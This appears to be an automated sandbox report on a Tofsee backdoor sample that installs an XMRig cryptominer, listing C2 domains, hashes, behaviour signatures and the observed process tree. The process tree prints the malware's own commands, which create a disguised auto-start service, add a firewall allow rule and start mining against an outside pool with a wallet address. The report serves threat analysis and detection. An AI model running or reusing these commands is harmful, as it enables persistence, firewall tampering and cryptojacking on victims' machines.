Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2022, 00:52

General

  • Target
    file.exe
  • Size 229KB
  • Sample221222-a73cbsdf68
  • SHA256 f42cb747fc7df7ff438b0c97bd7349a1f0fb4a64515f6ea4c657eb5d8d22e832
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qscqxtih\
      2⤵
        PID:2344
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vxalgapq.exe" C:\Windows\SysWOW64\qscqxtih\
        2⤵
          PID:1264
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qscqxtih binPath= "C:\Windows\SysWOW64\qscqxtih\vxalgapq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qscqxtih "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qscqxtih
          2⤵
          • Launches sc.exe
          PID:236
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3924
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 1040
          2⤵
          • Program crash
          PID:4140
      • C:\Windows\SysWOW64\qscqxtih\vxalgapq.exe
        C:\Windows\SysWOW64\qscqxtih\vxalgapq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3444
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4524
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1360
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 528
          2⤵
          • Program crash
          PID:4064
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2216 -ip 2216
        1⤵
          PID:4836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3444 -ip 3444
          1⤵
            PID:4864

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                vxalgapq.exe

                • Path C:\Users\Admin\AppData\Local\Temp\vxalgapq.exe
                • Size 12.8MB
                • SHA256 8ae12f4f798440b9a980e7a4fc1319fe1488b093980f565c2f449107ba57cf48
                • MD5 SHA1 SHA512 SSDEEP

                vxalgapq.exe

                • Path C:\Windows\SysWOW64\qscqxtih\vxalgapq.exe
                • Size 12.8MB
                • SHA256 8ae12f4f798440b9a980e7a4fc1319fe1488b093980f565c2f449107ba57cf48
                • MD5 SHA1 SHA512 SSDEEP

                memory/1360-172-0x0000000000870000-0x0000000000961000-memory.dmp

                memory/1360-177-0x0000000000870000-0x0000000000961000-memory.dmp

                memory/2216-134-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/2216-133-0x0000000000540000-0x0000000000553000-memory.dmp

                memory/2216-143-0x0000000000713000-0x0000000000724000-memory.dmp

                memory/2216-144-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/2216-132-0x0000000000713000-0x0000000000724000-memory.dmp

                memory/3444-149-0x000000000051E000-0x000000000052E000-memory.dmp

                memory/3444-150-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/4524-146-0x0000000000A00000-0x0000000000A15000-memory.dmp

                memory/4524-152-0x0000000000A00000-0x0000000000A15000-memory.dmp

                memory/4524-153-0x0000000002600000-0x000000000280F000-memory.dmp

                memory/4524-156-0x0000000001D70000-0x0000000001D76000-memory.dmp

                memory/4524-159-0x0000000001D80000-0x0000000001D90000-memory.dmp

                memory/4524-162-0x0000000001DD0000-0x0000000001DD5000-memory.dmp

                memory/4524-165-0x0000000007600000-0x0000000007A0B000-memory.dmp

                memory/4524-168-0x0000000001DE0000-0x0000000001DE7000-memory.dmp

                memory/4524-151-0x0000000000A00000-0x0000000000A15000-memory.dmp